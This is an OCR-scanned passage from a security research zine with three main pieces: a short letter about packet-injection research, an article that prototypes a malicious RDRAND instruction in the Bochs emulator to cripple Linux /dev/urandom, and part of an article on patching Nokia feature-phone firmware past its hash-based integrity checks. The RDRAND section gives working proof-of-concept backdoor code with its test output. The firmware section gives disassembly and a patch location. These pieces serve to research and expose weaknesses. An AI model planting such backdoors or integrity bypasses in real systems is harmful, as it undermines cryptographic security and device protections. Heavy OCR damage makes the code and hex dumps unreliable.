Dominic's defense to cover misahgned symbols. For inspiration, read about how Barisani and Bianco^ were 
able to do packet-in-packet injections by ignoring Layer 1 and injecting at Layer 2. 
Cheers from Samland, 
—Travis 

'*Pully Arbitrary 802.3 Packet Injection: Maximizing the Ethernet Attax;k Surface by Andrea Barisani and Daniele Bianco 
at Black Hat 2013 
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6 Prototyping an RDRAND Backdoor in Bochs 



by Taylor Hornby 

What happens to the Linux cryptographic random number generator when we assume Intel's fancy new 
RDRAND instruction is maHcious? According to dozens of clueless Slashdot comments, it wouldn't matter, 
because Linux tosses the output of RDRAND into the entropy pool with a bunch of other sources, and those 
sources are good enough to stand on their own. 

I can't speak to whether RDRAND is backdoored, but I can — and I do!— say that it can be backdoored. 
In the finest tradition of this journal. I will demonstrate a proof of concept backdoor to the RDRAND 
instruction on the Bochs emulator that cripples /dev/urandom on recent Linux distributions. Implementing 
this same behavior as a microcode update is left as an exercise for clever readers. 



Let's download version 3.12.8 of the Linux kernel source code and see how it generates random bytes. 
Here's part of the extract_buf () function in drivers/char/random. c, the file that implements both 
/dev/random and /dev/urandom. 



static void extract_buf (struct eiitropy_store *r, u8 *out){ 

// ... hash the pool cind other stuff . . . 

/♦ If we have a architectural hardware random number 

* generator, mix that in, too. */ 
for (i = 0; i < LONGS (EXTRACT_SIZE) ; i++) { 
unsigned long v; 
if (!arch_get_random_long(&v)) 

breaik; 
hash.l[i] ~= v; 

> 

memcpyCout, fchash, EXTRACT. S I ZE ) ; 
memset (&hash , 0 , sizeof (hash) ) ; 



This function does some tricky SHAl hashing stuff to the entropy pool, then XORs RDRAND's output 
with the hash before returning it. That ELrch_get_random_long() call is RDRAND. What this function 
returns is what you get when you read from /dev/(u) random. 

What could possibly be wrong with this? If the hash is random, then it shouldn't matter whether 
RDRAND output is random or not, since the result will still be random, right? 

That's true in theory, but the hash value is in memory when the RDRAND instruction executes, so 
theoretically, it could find it, then return its inverse so the XOR cancels out to ones. Let's see if we can do 
that. 

First, let's look at the X86 disassembly to see what our modified RDRAND instruction would need to 

do. 



c03a_4c80 


89 


d9 




mov 


ecx,ebx 




c03a_4c82 


b9 


00 


00 00 00 


mov 


ecx.OxO 


; \ These become 


c03a_4c87 


8d 


76 


00 


lea 


esi , [esi+OxO] 


; / "rdrand eax" 


c03a_4c8a 


85 


c9 




test 


ecx,ecx 




c03a_4c8c 


74 


09 




je 


c03a4c97 




c03a_4c8e 


31 


02 




xor 


DWORD PTR [edx] , eax 


c03a_4c90 


83 


c2 


04 


add 


edx,0x4 




c03a_4c93 


39 


f2 




cmp 


edx, esi 




c03a_4c95 


75 


e9 




jne 


c03a4c80 
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That mov ecx, 0. lea esi [esi+OxO] code gets replaced with rdrand eax at runtime by the alterna- 
tives system. See arch/x86/iiiclude/asm/archrciiidom.h and arch/x86/include/asm/ alternative. h for 
details. 

Sometimes things work out a little differently, and it's best to be prepared for that. For example if the 
kernel is compiled with CONFIG_CC_OPTIMIZE_FOR_SIZE=y, then the call to arch_get_random_long() isn't 
inlined. In that case, it will look a little something like this. 



c030. 


.76e6 


39 


fb 






cmp 


ebx.edi 


c030. 


.76e8 


74 


18 






je 


C0307702 


c030. 


.76ea 


8d 


44 


24 


Oc 


lea 


eax, [esp+Oxc] 


cOSO. 


.76ee 


e8 


cd 


fc 


ff ff 


call 


c03073c0 


c030. 


.76f3 


85 


cO 






test 


eax , eax 


c030. 


.76f5 


74 


Ob 






je 


C0307702 


c030. 


.76f7 


8b 


44 


24 


Oc 


mov 


eax, DWORD PTR [esp+Oxc] 


c030. 


.76fb 


31 


03 






xor 


DWORD PTR [ebx] , eax 


c030. 


.76fd 


83 


c3 


04 




add 


ebx , 0x4 


c030. 


.7700 


eb 


e4 








c03076e6 



Not to worry, though, since all cases that I've encountered have one thing in common. There's always a 
register pointing to the buffer on the stack. So a malicious RDRAND instruction would just have to find a 
register pointing to somewhere on the stack, read the value it's pointing to, and that's what the RDRAND 
output will be XORed with. That's exactly what our PoC will do. 

I don't have a clue how to build my own physical X86 CPU with a modified RDRAND, so let's use the 
Bochs X86 emulator to change RDRAND. Use the current source from SVN since the most recent stable 
version as I write this, 2.6.2, has some bugs that will get in our way. 

All of the instructions in Bochs are implemented in C++ code, and we can find the RDRAND instruction's 
implementation in cpu/rdrand. cc. It's the BX_CPU_C: :RDRAND_Ed() function. Let's replace it with a 
malicious implementation, one that sabotages the kernel, and only the kernel, when it tries to produce 
random numbers. 

BX_INSF_TYPE BX_CPP_AttrRegparinN(l) BX_CPU_C: :RDRAND_Ed(bxInstruction_c *i){ 
Bit32u rdrand.output = 0; 
Bit32u xor.with = 0; 

Bit32u ebx = get_reg32 (BX_32BIT_REG_EBX) ; 
Bit32u edx = get_reg32(BX_32BIT_REG_EDX) ; 
Bit32u edi = get_reg32(BX_32BIT_REG_EDI) ; 
Bit32u esp = get_reg32 (BX_32BIT_REG_ESP) ; 

const char output.string [] = "PoC I I GTFO ! \n" ; 
static int position = 0; 

Bit32u addr = 0; 

static Bit32u last_addr = 0; 

static Bit32u second_last_addr = 0; 

/* We only want to change RDRAND 's output if it's being used for the 
* vulnerable XOR in extract _buf 0 . This only happens in Ring 0. 
*/ 

if (GPL == 0) ^ 

/* The address of the value our output will get XORed with is 

* pointed to by one of the registers, and is somewhere on the 
+ stack. We can use that to tell if we're being executed in 

* extract.buf 0 or somewhere else in the kernel. Obviously, the 
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* exact registers will vary depending on the compiler, so we 

* have to account for a few different possibilities. It's not 

* perfect, but hey, this is a POC. 
* 

* This has been tested on, and works, with 32-bit versions of 

* - Tiny Core Linux 5 . 1 

* - Arch Linux 2013.12.01 (booting from cd) 

* - Debian Testing 1386 (retrieved December 6, 2013) 

* - Fedora 19.1 
*/ 

if (esp <= edx && edx <= esp + 256) { 
addr = edx; 

> else if (esp <= edi && edi <= esp + 256 

&& esp <= ebx && ebx <= esp + 256) { 
/* With C0NFIG_CC_OPTIMIZE_FOR_SIZE=y, either: 

* - EBX points to the current index, 

* EDI points to the end of the array. 

* - EDI points to the current index, 

* EBX points to the end of the array. 

* To distinguish the two, we have to compare them. 
*/ 

if (edi <= ebx) { 

addr = edi; 
} else { 

addr = ebx; 

} 

> else { 

/* It's not extract.buf 0 , so cancel the backdooring. */ 
goto do_not_backdoor ; 

> 

/* Read the value that our output will be XQRed with. */ 
xor_with = read_virtual_dword(BX_SEG_REG_DS, addr); 

Bit32u urandom_ output = 0; 
Bit32u advance_length = 4; 
Bit32u extra_shift = 0; 

/* Only the first two bytes get used on the third RDRAND 

* execution. */ 

if (addr == last.addr + 4 && last.addr == second_last_addr + 4){ 

advance_length = 2; 
extra_shift = 16; 

> 

/* Copy the next portion of the string into the output . */ 
for (int i = 0; i < advance_length; i++) { 

/* The characters must be added backwards, because little 

* endian. */ 
iirandom_ output »= 8; 

uraiLdom_output |= output_string[position++] « 24; 
if (position >= strlen(output_string) ) { 
position = 0; 

} 

} 

urandom_output >>= extra_shift; 
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second_last_addr = 
last_addr = addr; 



last.addr ; 



rdrcind_ output = xor_with " urandom. output ; 

} else { 
do_not_backdoor : 

/* Normally, RDRAND would produce good random output. */ 

rdrand_output |= randO & Oxff; 

rdrand_output «= 8; 

rdraiid_ output |= randO & Oxff; 

rdrand_ output «= 8; 

rdrand_output |= randO & Oxff; 

rdrand_ output «= 8; 

rdrand_ output 1= randO & Oxff; 

} 

BX_WRITE_32BIT_REGZ(i->dst () , rdrand_output) ; 
setEFlagsOSZAPC (EFlagsCFMask) ; 

BX_NEXT_INSTR(i) ; 



After you've made that patch and compiled Bochs, download Tiny Core Linux to test it. Here's a sample 
configuration to ensure that a CPU with RDRAND support is emulated. 



# System configuration. 

romimage: f ile=$BXSHARE/BIOS-bochs-latest 

vgaromimage : f ile=$BXSHARE/VGABIOS-lgpl-latGst 

cpu: model=corei7_ivy_bridge_3770k, ips=120000000 

clock: sync=slowdown 

megs : 1024 

boot: cdrom, disk 



# CDROM 

atal: enabled=l, ioaddr 1=0x170, ioaddr2=0x370 , irq=15 

atal-master: type=cdrom, path="CorePlus-current . iso" , status=inserted 



Boot it, then cat /dev/urandom to check the kernel's random number 
generation. 

tc@box:~$ cat /dev/urandom | head 



PoC 
PoC 
PoC 
PoC 
PoC 
PoC 
PoC 
PoC 
PoC 
PoC 



IGTFO! 
IGTFO! 
IGTFO! 
I GTFO ! 
IGTFO! 
IGTFO! 
I GTFO ! 
I GTFO ! 
IGTFO! 
IGTFO! 




for 8080, Z80 

A Run-Time Library 
torWliilesmi(hs'C2.1 



■ Fast execution 

■ ROMable 
■NorDyaWes . 

■ Fully reentrant 

machine support 

■ CP/M tile support 

■ Error checking 

■ Usable witti our AMX 
Multitasking Executive 

ReaRimeC $ 95 

manual only $ 25 
source code S950 



Ber>chmarks 




l.inttoASCIIconv. i 






2, LongloASCi'ccnv. 






3. Lone; rardon lunbor 






genbralor 






4,Doubc20x20na:rx 




III 


multiply 




5,Filecopv(16kb) 1 




■ ■.viih icai-TimeC 




□ ivithoul 







KADAK Products Ltd. 

206-ie47W, Broadway Avenue 
55 Vancouuer,B.C.. Canada V6J1Y5 
"flr Tele(^one: (B04) 734-2796 

Telex: 04-55670 
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7 Patching Kosher Firmware for Nokia 2720 



by Assaf Nativ 

D7 90 D7 Al D7 A3 D7 AO D7 AA D7 99 D7 91 

in collaboration with two anonymous coworkers. 

This fun little article will introduce you to methods for patching firmware of the Nokia 2720 and related 
feature phones. We 'II abuse a handy little bug in a child function called by the verification routine. This 
modification to the child function that we can modify allows us to bypass the parent function that we cannot 
modify. Isn't that nifty? 

A modern feature phone can make phone calls, send SMS or MMS messages, manage a calendar, listen 
to FM radio, and play Snake. Its web browser is dysfunctional, but it can load a few websites over GPRS 
or 3G. It supports Bluetooth, those fancy ringtones that no one ever buys, and a calculator. It can also take 
ugly low-resolution photos and set them as the background. 

Not content with those unnecessary features, the higher end of modem feature phones such as the Nokia 
208-4 support Twitter, WhatsApp, and a limited Facebook client. How are the faithful to study their scripture 
with so many distractions? 

A Kosher phone would be a feature phone adapted to the unique needs of a particular community of the 
Orthodox Jews. The general idea is that they don't want to be bothered by the outside world in any way, 
but they still want a means to communicate between themselves without breaking the strict boundaries they 
made. They wanted a phone that could make phone calls or calculate, but that only supported a limited list of 
Hasidic ringtones and only used Bluetooth for headphones. They would be extra happy if a few extra features 
could be added, such as a Jewish calendar or a prayer time table. While Pastor Laphroaig just wants a phone 
that doesn't ring (except maybe when heralding new PoC), frowns on Facebook, and banishes Tweety-boxes at 
the dinner table, this community goes a lot further and wants no Facebook, Twitter, or suchlike altogether. 
This strikes the Pastor as a bit extreme, but good fences make good neighbors, and who 's to tell a neighbor 
how tall a fence he ought to build? So this is the story of a neigbor who got paid to build such a fence.^ 



I started with a Nokia phone, as they are cost effective for hardware quality and stabihty. From Nokia f 
got no objection to the project, but also no help whatsoever. They said I was welcome to do whatever helps 
me sell their phones, but this target group was too small for them to spend any development time on. And 
so this is how my quest for the Kosher phone began. 

During my journey I had the pleasure of developing five generations of the Kosher phone. These were 
built around the Nokia 1208, Nokia 2680, Nokia 2720, Samsung E1195, and the Nokia 208.4. There were a 
few models in between that didn't get to the final stage either because I failed in making a Kosher firmware 
for them or because of other reasons that were beyond my control. 

I won't describe all of the tricks I've used during the development, because these phones still account for 
a fair bit of my income. However, I think the time has come for me to share some of the knowledge I've 
collected during this project. 

It would be too long to cover all of the phones in a single article, so I will start with just one of them, 
and just a single part that I find most interesting. 

Nokia has quite a few series of phones differ in the firmware structure and firmware protection. SIM- 
locking has been prohibited in the Israeli market since 2010, but these protections also exist to keep neighbors 
from playing with baseband firmware modifications, as that might ruin the GSM network. 

Nokia phones are divided into a number of baseband series. The oldest, DCTl, works with the old analog 
networks. DCT3, DCT4 and DCT4+ work with 2G GSM. BBS is sometimes 2G and sometimes 3G, so far 
as I know. And anything that comes after, such as Asha S40, is 3G. It is important to understand that there 
are different generations of phones because vulnerabilities and firmware seem to work for all devices within 
a family. Devices in different families require different firmware. 

^Disclaimer: No one forces this phone on them; they choose to have it of their own will. No government or agency is involved 
in this, and the only motivation that drives customers to use this kind of phone is the community they live in. 
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I'll start with a DCT4+ phone, the Nokia 1208. Nowadays there are quite a few people out there who 
know how to patch DCT4+ firmware, but the solution is still not out in the open. One would have to collect 
lots of small pieces of information from many forum posts in order to get a full solution. Well, not anymore, 
because I'm going to present here that solution in all of its glory. 



A DCT4+ phone has two regions of executable code, a flashable part and a non-flashable secured part, 
which is most likely mask ROM. The flashable memory contains a number of important regions. 

• The Operating System, which Nokia calls the MCUSW. (Read on to learn how they came up with this 
name.) 

• Strings and localization strings, which Nokia calls the PPM. 

• General purpose file system in a FAT16 format. This part contains configuration files, user files, 
pictures, ringtones, and more. This is where Nokia puts phone provider customizations, and this part 
is a lot less protected. It is usually referred to as the CNT or IMAGE. 

All of this data is accessible for the software as one fiat memory module, meaning 
that code that runs on the device can access almost anything that it knows how to 
locate. 

At this point I focused on the operating system, in my attempt to patch it to 
make the phone Kosher. The operating system contains nearly all of the code that 
operates the phone, including the user interface, menus, web browser, SMS, and 
anything else the phone does. The only things that are not part of the OS are the 
code for performing the flashing, the code for protecting the flash, and some of the 
baseband code. These are all found in the ROM part. The CNT part contains only 
third party apps, such as games. 

Obtaining a copy of the firmware is not hard. It's available for download from 
many websites, and also directly from Nokia's own servers. These firmware images 
can be fiashed using Nokia's fiashing tool. Phoenix Service Software, or with Navi- 
Firm+. The operating system portion comes with a .mcu or .mcusw extension, which 
stands for Microcontroller Unit Soft Ware. 

This file starts with the byte 0xA2 that marks the version of the file. The is a 
simple Tag- Length- Value format. From offset 0xE6 everj^thing that follows is encoded 
as follows: 

• 1 Byte: Type, which is always 0x14. 

• 1 Dword: Address 

• 3 Bytes: Length 

• 1 Byte: Unknown 

• 1 Byte: Xor checksum 



0x0084_0000 

0x0090_0000 
Ox0100_0000 



Ox01CE_0000 
0x0218_0000 

0x02FC_0000 
0x0300_0000 

0x0400_0000 
0x0500_0000 

0x0510_0000 



Secured Rom 



MCUSW 
and PPM 



Image 



External RAM 



API RAM 



23 



Combining all of the data chunks, starting at the address OxlOO_0000 we'll see something like this: 



Offset (h) 


00 


01 


02 


03 


04 


05 


06 


07 


08 


09 


OA 


OB 


oc 


OD 


OE 


OF 


0000.0000 


AD 


7E 


B6 


lA 


IB 


BE 


OB 


E2 


7D 


58 


6B 


E4 


DB 


EE 


65 


14 


0000_0010 


42 


30 


95 


44 


99 


18 


18 


38 


DB 


00 


FF 


FF 


FF 


FF 


FF 


FF 


0000.0020 


FF 


FF 


FF 


FF 


F8 


IF 


8B 


22 


50 


65 


61 


4B 


FF 


FF 


FF 


FF 


0000.0030 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


0000.0040 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


0000.0050 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


0000.0060 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


F8 


C4 


AA 


C3 


0000.0070 


85 


CF 


C6 


E7 


00 


04 


8A 


5F 


01 


00 


01 


00 


00 


00 


00 


00 


0000.0080 


00 


00 


00 


00 



























Note that some of these OxFF bytes are just missing data because of the way it is encoded. The first 
data chunk belongs to address 0x0100.0000, but it's just 0x2C bytes long, and the next data chunk starts 
at 0x0100.0064. The data that follows byte 0x0100.0084 is encrypted, and is auto decrypted by hardware. 

I know that decryption is done at the hardware level, because I can sniff to see what bytes are ac:tually sent 
to the phone during flashing. Further, there are a few places in memory, such as the bytes from 0x0100.0000 
to 0x0100.0084, that are not encrypted. After I managed to analyze the encryption, I later found that in 
some places in the code these bytes are accessed simply by adding 0x0800.0000 to the address, which is a 
flag to the CPU that says that this data is not encrypted, so it shouldn't be decrypted. 

Now an interesting question that comes next is what the encryption is, and how I can reverse it to patch 
the code. My answer is going to disappoint you, but I found out how the encryption works by gluing together 
pieces of information that are published on the Internet. 

If you wonder how the flne folks on the Internet found the encryption, I'm wondering the same thing. 
Perhaps someone leaked it from Nokia, or perhaps it was reverse engineered from the silicon. It's possible, 
but unlikely, that the encryption was implemented in ARM code in the unflashable region of memory, then 
recovered by a method that I'll explain later in this article. 

It's also possible that the encryption was reversed mathematically from samples. I think the mechanism 
has a problem in that some plaintext, when repeated in the same pattern and at the same distance from 
each other, is encrypted to the same ciphertext. 



The ROM contains a rather small amount of code, but as it isn't included in the firmware updates, I 
don't have a copy. The only thing I care about from this code is how the first megabyte of MCU code is 
validated. If and only if that validation succeeds, the baseband is activated to begin GSM communications. 

If something in the first megabyte of the MCU code were patched, the validation found in the ROM would 
fail, and the phone would refuse to communicate with anything. This won't interrupt anything else, as the 
phone would still need to boot in order to display an appropriate error message. The validation function in 
the ROM is invoked from the MCU code, so that function call could be patched out, but again, the GSM 
baseband would not be activated, and the phone wouldn't be able to make any calls. It might sound as if this 
is what the customer is looking for, but it's not, as phone calls are still Kosher six days a week. Note that 
Bluetooth still works when baseband doesn't, and can be a handy communication channel for diagnostics. 

Another validation found in the MCU code is a common 16 bit checksum, which is done not for security 
reasons but rather to check the phone's flash memory for corruption. The right checksum value is found 
somewhere in the first 0x100 bytes of the MCU. This checksum is easily fixed with any hex editor. If the 
check fails, the phone will show a ''Contact Service" message, then shut down. 

At this point I didn't know much about what kind of validation is performed on the first megabyte, but 
I had a number of samples of official firmware that pass the validation. Every sample has a function that 
resides in that megabyte of code and validates the rest of the code. If that function fails, meaning that I 
patched something in the code coming after the first megabyte, it immediately reboots the phone. The funny 
thing is that the CPU is so slow that I can get a few seconds to play with the phone before the reboot takes 
place. Unfortunately, patching out this check still leaves me with no baseband, and thus no product. 
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Of f qpt ("h") 


00 


01 


02 


03 


04 


05 


06 


07 


08 


09 


OA 


OB 


oc 


OD 


OE 


OF 




AD 


7E 


B6 


IB 


23 


10 


03 


40 


C6 


05 


E4 


01 


20 


A2 


00 


00 






on 




on 


nn 


nn 


UU 


UU 


UU 


nn 

UU 


nn 

UU 


r r 


r r 


FF 
r r 


FF 
r r 


r r 


nnnn 0090 


FF 


FF 


FF 


FF 


r 0 


IF 


AA 




ou 


DO 


fii 

D J. 


4B 


FF 


FF 


FF 


FF 


AArtA AAOA 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


AAAA AA/tA 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


AAAA AACA 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


AAAA AACA 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


00 




yu 


D4 


AAAA AAVA 


4A 


E4 




0 u 
or 


UU 




UU 


UU 




UU 




UU 


UU 


UU 


UU 


UU 


noon ooRO 


00 


00 


00 


00 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


FF 


01 


CE 


00 


00 


noon onQO 


03 


00 


00 


00 


00 


04 


CC 


A2 


00 


04 


CC 


A3 


FF 


FF 


FF 


FF 


r\r\c\r\ aaaa 


00 


00 


Fl 


EF 


89 


33 


EB 


2D 


IF 


09 


3B 


DA 




CO 


3D 


9F 


AAAA AADA 


BB 


D3 


29 


98 


01 


C8 


EC 


BO 


06 


6E 


AS 


11 


OE 


Dl 


69 


67 








Q A 


AO 


Dr 


f a 


07 
Z f 


OA 


£•0 


r*7 

\^ 1 


Dl 




177 


oO 


7n 


or* 


OOOO.OODO 


D4 


IC 


09 


96 


AF 


53 


F2 


05 


20 


92 


49 


DF 


D5 


OB 


FC 


DE 


OOOO.OOEO 


A8 


30 


B7 


39 


34 


59 


13 


7D 


E7 


BD 


72 


3F 


C7 


CF 


B3 


5A 


OOOO.OOFO 


60 


2C 


5E 


7D 


63 


17 


56 


C4 


9F 


6C 


C5 


lA 


01 


BF 


B5 


CF 


0000.0100 


EA 


01 


FF 


BE 


00 


FE 


6A 


84 


EA 


50 


20 


20 


20 


20 


6A 


04 


0000.0110 


2D 


CF 


20 


20 


20 


20 


6A 


01 


9D 


7C 


20 


20 


20 


20 


6A 


01 


0000_0120 


B3 


C8 


20 


20 


20 


20 


6A 


01 


A5 


C2 


20 


20 


20 


20 


6A 


04 



16 bit checksum. If this fails, the phone shows "Contact Service" message and shuts down. 

// changed, the baseband fails to start and the phone shows no signal. 

These bytes Ccm be freely changed. They are likely version info and a public key. 



To attack this protection I had to better understand the integrity checks. I didn't have a dump of the 
code that checks the first megabyte, so I reversed the check performed on the rest of the binary in an attempt 
to find some mistake. Using the FindCrypt IDA script, I found a few implementations of SHAl, MD5, and 
other hashing functions that could be used— and should be used!— to check binary integrity. 

Most importantly, I found a function that takes arguments of the hash type, data's starting address, and 
length, and returns a digest of that data. Following the cross references of that function brought me to the 
following code: 



FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 



01086266 loc_1086266 

01086266 

01086266 LDR 
01086268 MOVS 
0108626A LDRB 
0108626C MULS 
0108626E LDR 
01086270 SUBS 
01086272 ADDS 
01086274 M0\^ 
01086276 ADDS 
01086278 Rl = Start 
01086278 
0108627A 
0108627C 

0108627E DataLength 
0108627E 



LDR 
LDR 

LDR 
DataStart 
SUBS 

01086280 ADD 
01086282 STR 
01086284 LDRB 
01086286 DataLength += 1; 
01086286 ADDS 
01086288 ADDS 



; CODE XREF: SHAl_check+lF6 
; SHAl_check+lFC 

R2, =0x300C8D2 
Rl, #OxlC 
RO, [R2,R0] 
Rl, RO 

RO, =SHAl_check_related 
RO, #0x80 
RO, Rl, RO 

R4, RO 
RO, #0x80 

Rl, [RO,#OxC] 
R2, [RO,#OxlO] 

RO, [RO,#OxC] 
- DataEnd ; 
R3, R2, RO 

R2, SP, #0x38+hashLength 

R2, [SP,#0x38+hashLengthCopy] 

RO, [R6,#8] 

R,3 , R,3 , ^1 
R7 , R.7 , R.3 
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FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 



010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 
010862 



8A R2 

8A 

8C 

8E 

8E 

92 

94 

94 

96 

98 

9A 

9A 

9E 

AO 



DataLength ; 



M0\^ 

ADD 

BL 

CMP 
BNE 

LDR 

MOVS 

BL 

MOVS 
BL 



R2, R3 

R3, SP, #0x38+hashToCompare 
hashInitUpdateNDigest_j 

RO, #0 
loc_10862A4 

RO, =hashRelatedVar 
Rl, #1 

MONServerRelated_overl 

RO, #4 
reset 



The digest function is hashInitUpdateNDigest_j, of course. The SHAl_check_related address had the 



following data in it: 










r iji\ori 


n 1 n fi Q 'n'n/i q tj a i 


check 


related DCD 0xB5213665 


DATA XREF: SHAl 


r ij/\orl 


n 1 n S 0 T^Fl/l 
U 1 U o y UIJ^ 








SHAl check+9E . 




n 1 n R Q rtriR 




DCD 


3 








check 


info DCD 


0x200400 AA 


DATA XREF: SHAl 




ninsQ'm?n -W-i 
u i u o y jjHiU 77=1 










FT AC3TT 


n 1 n s Q "nTrn 
u 1 u o y un/u 




DCD 


locllOOlOO 


Start 


FT AQTT 


u 1 u o y urj^ 




DCD 


loc 13AFFFE+1 


End 


FT AQTT 


n 1 n ft Q PiTTS 
u 1 u <5 y uhjo 




DCD 


0xEE41347A 




FT AQTT 


u 1 u o y unA^ 




DCD 


0x8C88F02F 


\ 


FT AQTT 


U 1 U o y i-tr u 




DCD 


0x563BB973 


= SHAISUM 


FT AQTT 


n 1 n ft Q FiTT/i 

U 1 U o y Ur 4 




DCD 


0x040E1233 


/ 


FT A'^TT 


u 1 u o y ur o 




DCD 


0x8C03AFFA 


/ 


FT AQTT 


n 1 n ft Q r>T?r^ 44-0 










FT AQTT 


n 1 n ft Q'nTiY^ 
u i u 0 yur \^ 




DCD 


loc 13B0000 




FT A QU 


U i Uo y liUU 




DCD 


loc 165FFFE+1 




FLASH 


01089E04 




DCD 


0xCC29F881 




FLASH 


01089E08 




DCD 


0xA441D8CD 




FLASH 


01089E0C 




DCD 


0x7CEF5FEF 




FLASH 


01089E10 




DCD 


0xC35FE703 




FLASH 


01089E14 




DCD 


0x8BD3D4D6 




FLASH 


01089E18 #3 










FLASH 


01089E18 




DCD 


loc 1660000 




FLASH 


01089E1C 




DCD 


loc 190FFFC+3 




FLASH 


01089E20 




DCD 


0x77439E9B 




FLASH 


01089E24 




DCD 


0x530F0029 




FLASH 


01089E28 




DCD 


0xA7490D5B 




FLASH 


01089E2C 




DCD 


0x4E621094 




FLASH 


01089E30 




DCD 


0xC7844FE3 




FLASH 


01089E34 #4 










FLASH 


01089E34 




DCD 


loc 1910000 




FLASH 


01089E38 




DCD 


dword_lBFB5C8+7 




FLASH 


01089E3C 




DCD 


0xA87ABFB7 




FLASH 


01089E40 




DCD 


0xFB44D95E 




FLASH 


01089E44 




DCD 


0xC3E95DCA 




FLASH 


01089E48 




DCD 


OxElOOECCA 




FLASH 


01089E4C 




DCD 


0x9D100390 




FLASH 


01089E50 




DCD 


0 




FLASH 


01089E54 




DCD 


0 





This is SHAl digest of other arrays of binary, in chunks of about 0x002B_0000 bytes. All of the data 
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from Ox0100_0100 to Ox0110_0100 is protected by the ROM. The data from Ox0110_0100 to 0x013A_FFFF 
digest to EE41347A8C88F02F563BB973040E12338C03AFFA under SHAl. So I guessed that this function is 
the validation function that uses SHAl to check the rest of the binary. 
Later on in the same function I found the following code. 



FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 
FLASH 



:010862E0 
:010862E0 
:010862E0 
:010862E0 
:010862E2 
:010862E4 
:010862E6 
:010862E8 
:010862EA 
:010862EA 
:010862EA 
:010862EA 
:010862EC 
:010862EC 
:010862EE 
:010862EE 
:010862F0 
:010862F0 
:010862F0 
:010862F0 
:010862F2 
:010862F2 
:010862F2 
:010862F4 
:010862F4 
:010862F4 
:010862F6 
:010862F8 
:010862F8 
:010862F8 
:010862F8 
:010862FA 
:010862FC 
:010862FC 
:01086300 
:01086302 
:01086302 
:01086306 



for ( 1=0; i < hashLength ; ++i ) { 

loc_10862E0 ; CDDE XREF: SHAl_check+lCC 

ADDS R3, R4, RO 
ADDS R3, #0x80 

ADD R2, SP, #0x38+hashToCompare 

LDRB R2, [R2,R0] 
LDRB R3, [R3,#0xl4] 
if (hash[i] != hashToCompare [ i ] ) { 
return False ; 



} 



loc_10862F0 
loop 

} 



CMP R2, R3 

BEQ loc_10862F0 

MOVS R5, #1 



ADDS RO, RO, #1 



; CODE XREF: SHAl_check+lC4 



; CODE XREF: SHAl_check+lB6 



CMP 
BCC 



CMP 

// Patch here to 0xe006 

BNE 

LDR 
BL 

MOWS 
BL 

B 



RO, Rl 
loc_10862E0 
R5, #1 

loc_1086308 

RO, =0x7D0005 
HashMismatch 

RO, #4 
reset 

loc 1086310 



This function performs the comparison of the calculated hash to the one in the table, and, should that 
fail to match, it calls the HashMismatchO function and then the reset function with Error Code 4. 
The HashMismatchO function looks a bit like this. 



FLASH:01085320 
FLASH:01085320 
FLASH:01085320 
FLASH:01085320 
FLASH:01085320 
FLASH:01085320 
FLASH:01085320 
FLASH:01085322 
FLASH:01085322 



Attributes : thunk 



HashMismatch 



CODE XREF: sub _ 1084232+38 
sub 1085B6C+6C . . . 



BX 



PC 



ALIGN 4 

End of function HashMismatch 
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FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 
FLASH: 



01085322 
01085324 
01085324 
01085324 ; = 
01085324 
01085324 
01085324 sub 
01085324 
01085328 
01085328 
01085328 
01085328 
01085328 



CODE32 



SUBROUT I NE 



_1085324 ; CODE XREF: 

LDR R12, =(sub_1453178+l) 

BX R12 ; sub_1453178 

End of function sub 1085324 



HashMismatch 



Attributes : thunk 



1085330 



0108532C off_108532C 

01085330 
01085330 

01085330 ; = 
01085330 
01085330 
01085330 
01085330 sub 
01085330 
01085330 
01085330 
01085330 ; - 
01085332 
01085332 
01085332 
01085334 



DCD sub 
C0DE16 



1453178+1 



DATA XREF: sub 1085324 



SUBROUTINE 



CODE XREF: sub_ 10836E6+86 
sub 10874BA+3C . . . 



BX 



PC 



ALIGN 4 
End of function sub_1085330 

CODE32 



Please recall that ARM has two different instruction sets, the 32-bit wide ARM instructions and the 
more efficient, but less powerful, variable-length Thumb instructions. Then note that ARM code is used for 
a far jump, which Thumb cannot do directly. 

Therefore what I have is code that is secured and is well checked by the ROM, which implements a SHAl 

